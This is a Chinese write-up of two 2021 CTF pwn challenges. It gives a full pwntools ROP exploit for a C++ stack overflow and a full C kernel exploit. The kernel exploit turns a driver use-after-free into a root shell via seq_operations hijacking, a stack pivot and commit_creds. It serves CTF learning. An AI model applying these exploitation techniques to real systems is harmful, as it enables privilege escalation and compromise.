西湖论剑2021pwn-wp

虽然没参加,但不影响我写writeup :)

就看了两道比较感兴趣的题,一道是C++的,一道是内核的。并附带了一些小贴士,防止忘记

string_go

题目

一道C++的题,调用calc计算输入的表达式,如果为结果为3就调用存在漏洞的函数lative_func

刚开始看到时候被calc函数绕了好久,其实不用把calc细节看明白,看函数名就能猜出来它的作用了

lative_func里先输入索引v7,再输入字符串v10,然后将v10中索引为v7的字符修改为新输入到字符并输出,后面是一个明显的memcpy栈溢出

漏洞分析

因为v7是有符号的int类型,所以可以输入-1向上写,而v10上面存的是v10的长度,所以可以将v10的长度修改成大数,造成栈泄露,然后利用下面栈溢出ROP或者直接one gadget

小贴士

调试时使用命令sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"关闭ASLR方便调试

利用glibc-all-in-one和patchelf修改程序的链接库,利用ldd查看修改状态

1
2
3
patchelf --set-interpreter /home/cy/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so string_go
patchelf --replace-needed libc.so.6 /home/cy/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so string_go
ldd ./string_go

利用ROPgadget可以将libc的汇编代码输出,也可以找到字符串

1
2
ROPgadget --binary ./libc-2.27.so > rop
ROPgadget --binary ./libc-2.27.so --string '/bin/sh'

利用one_gadget可以直接找到one gadget

1
one_gadget ./libc-2.27.so

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
#context.log_level= 'debug'
p = process('./string_go')
libc = ELF('./libc-2.27.so')

p.sendlineafter(">>>", "3")
p.sendlineafter(">>>", "-1") #offset
p.sendlineafter(">>>", "1") #leak
p.sendlineafter(">>>", "1") #pa
p.recv()
leak = p.recv()
libc_base = u64(leak[0xf8:0xf8+8])-0x21bf7
canary = u64(leak[0x38:0x38+8])
rop = "a"*0x18+p64(canary)+p64(0)*3
# rop += p64(libc_base+0x4f3d5) #one gadget
rop += p64(libc_base+0x215bf) #pop rdi, ret
rop += p64(libc_base+0x1b3e1a) #/bin/sh
rop += p64(libc_base+0x215c0) #retn
rop += p64(libc_base+libc.symbols['system']) #system
#gdb.attach(p)
p.sendline(rop)

p.interactive()

其中rop链里在system之前多加了一个ret,是因为在 x86_64的系统里return回glibc函数时需要确保栈是对齐的,这里的ret就起到了占位的作用,具体参考这里

easykernel

题目

start.sh如下,开启了smep和kaslr保护

1
2
3
4
5
6
7
8
9
10
#!/bin/sh

qemu-system-x86_64 \
-m 64M \
-cpu kvm64,+smep \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-s \
-append "console=ttyS0 kaslr quiet"

驱动提供了增删改查功能

增:commond为0x20,最大只能申请0x20的块

删:command为0x30,free之后没有清零,可以UAF

改:command为0x50

查:命令为0x40,最多可以输出0x100的内容,可以用来泄露地址

漏洞分析

可以将0x20大小的对象放入freelist后打开一个proc文件,此时创建seq_operations结构体从freelist分配对象,利用uaf泄露seq_operations结构体中的指针,再通过修改seq_operations结构体中的指针从而栈迁移,再构造ROP链进行提权

在可以UAF的时候,利用seq_operations结构体,达到泄露地址或执行代码的目的

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

对proc文件系统进行读取的时候,限制了一次最多读一页,如果超过那么只能多次读取,这样就会增加读取次数从而增加系统调用的次数,影响了效率。所以出现了seq_file的序列文件出现,该功能使得对于读取大文件更加容易。 至于其中更深层次的细节,我这里就不赘述了,总而言之,试图读取proc文件系统中的文件时,会创建一个seq_file结构体,作为这个结构体成员的seq_operations也相应产生。 在打开一个序列文件的时候会调用seq_open,之后读取文件内容时,seq_operations的执行顺序为:

1
start() ==> next() ==> show() ==> ... ==> next() ==> show() ==> stop();

打开一个proc文件之后,总是第二个0x20的object被分配给seq_operations使用,但是我并没有深究第一个是被谁申请的,也并不清楚这在所有内核版本中是否是通用的情况。

利用方法:将0x20大小的对象放到freelist后,打开一个proc文件,比如/proc/self/stat,然后通过分配到seq_operations结构体的对象泄露内核地址以及设置好寄存器后修改seq_opeartions->start为类似xchg eax, esp; ret;的栈迁移gadget,再进行后续的rop提权

可以进行栈迁移的原因是在即将调用seq_operations->start()的时候rax寄存器中保存的就是这个函数指针,而xchg eax, esp; ret;会将rsp和rax交换,并只保留低位数据,所以如果事先使用mmap在用户空间分配一个32位的地址空间,其低位与该gadget地址一致,则交换以后rsp指向mmap分配的内存,实现栈迁移

1
2
3
4
5
rax : 0xffffffffaf1c4878 ◂— xchg   eax, esp
rsp : 0xffffbb04801ffdb8
(ni)
rax : 0x801ffdb8
rsp : 0xaf1c4878(事先用mmap分配0xaf1c4000的内存空间,则可以将栈迁移到可控内存)

小贴士

kerpwn_init函数中的misc结构体可以看到驱动的名字和重写的函数

调试时可以把init中自动关机的代码注释掉,id设置为0就可以用root权限调试

image-20211203001122298

设置为root权限后就可以查看驱动的基地址,两个提权用的内核函数地址以及内核基地址

1
2
3
4
lsmod #驱动的基地址
cat /proc/kallsyms | grep prepare_kernel_cred #prepare_kernel_cred函数地址
cat /proc/kallsyms | grep commit_creds #commit_creds函数地址
cat /proc/kallsyms | grep startup_64 #内核基地址

ROPgadget得到的gadget常常有一些无关的指令,可以借助机器码提取要用的指令,也可以直接到ida中搜索需要的机器码,常用机器码如下

1
2
3
4
5
6
7
8
9
c3       : ret;
0f 22 e7 : mov cr4,rdi;
94 : xchg eax, esp;
50 : push rax;
5f : pop rdi;
5a : pop rdx;
48 89 c7 : mov rdi,rax
0f 01 f8 : swapgs;
48 cf : iretq

ROPgadget得到的gadget里没有iretq,可以通过objdump --section .text -d ./vmlinux|grep iretq找到

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#include <stdio.h> 
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/prctl.h>

#define KERNCALL __attribute__((regparm(3)))

void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc91d0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc8d40;

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void shell()
{
if(getuid() == 0){
puts("[+] root!");
system("/bin/sh");
}
else{
puts("[-] failed!");
}
}

int be_root()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)
);
}

struct node{
size_t idx;
size_t len;
void *buf;
};

int fd;

int add(size_t idx)
{
return ioctl(fd,0x20,&idx);
}

int show(struct node *nodep)
{
return ioctl(fd,0x40,nodep);
}

int delete(size_t idx)
{
return ioctl(fd,0x30,&idx);
}

int edit(struct node *nodep)
{
return ioctl(fd,0x50,nodep);
}


char data[0x300];
int main()
{
size_t raw_vmlinux_base = 0xffffffff81000000;
signal(SIGSEGV, shell);
save_stat();

printf("[+]open drive\n");
fd = open("/dev/kerpwn",2);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}

struct node node1;
node1.buf = malloc(0x100);
node1.len = 0x100;
node1.idx = 0;

add(0x20);
delete(0);

int seq_fd = open("/proc/self/stat", O_RDONLY);
if(seq_fd < 0)
{
puts("[!] open failed");
exit(-1);
}

show(&node1);
printf("[+] Leak address: \n");
for(int i=0;i<0x20/8;i++){
printf("0x%lx\n",*((size_t *)node1.buf+i));
}
size_t base=*((size_t *)node1.buf)-0x319d30;
size_t offset = base - raw_vmlinux_base;
prepare_kernel_cred=base+prepare_kernel_cred;
commit_creds=base+commit_creds;
size_t xchg_eax_esp = 0xFFFFFFFF811C4878 + offset;
size_t pop_rdi=0xFFFFFFFF811CAC04 + offset;;
size_t pop_rdx=0xFFFFFFFF819131BA + offset;
size_t mov_rdi_rax=0xFFFFFFFF815B27CA + offset;
size_t swapgs=base+0xc010bc;
size_t iretq=base+0x3a2ab;

size_t start = (xchg_eax_esp & 0xfff) / 8;
size_t *fake_stack = mmap(xchg_eax_esp & 0xfffff000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if(fake_stack != (xchg_eax_esp & 0xfffff000))
{
puts("[!] mmap failed");
exit(-1);
}
size_t index = 0;
fake_stack[start + index++] = pop_rdi;

fake_stack[start + index++] = 0;
fake_stack[start + index++] = prepare_kernel_cred;
fake_stack[start + index++] = pop_rdx;
fake_stack[start + index++] = 0;
fake_stack[start + index++] = mov_rdi_rax;
fake_stack[start + index++] = commit_creds;
fake_stack[start + index++] = swapgs;
fake_stack[start + index++] = 0;
fake_stack[start + index++] = iretq;
fake_stack[start + index++] = &shell;
fake_stack[start + index++] = user_cs;
fake_stack[start + index++] = user_rflags;
fake_stack[start + index++] = user_sp;
fake_stack[start + index++] = user_ss;

*((size_t *)node1.buf)=(size_t)xchg_eax_esp;
node1.len = 0x8;
node1.idx = 0;
edit(&node1);

read(seq_fd, data, 1);
return 0;
}

参考资料:

kernel pwn入门之路(一)

kernel pwn入门之路(三)

Kernel ROP - CTF Wiki

文章目录
  1. 1. string_go
    1. 1.1. 题目
    2. 1.2. 漏洞分析
    3. 1.3. 小贴士
    4. 1.4. EXP
  2. 2. easykernel
    1. 2.1. 题目
    2. 2.2. 漏洞分析
    3. 2.3. 小贴士
    4. 2.4. EXP
|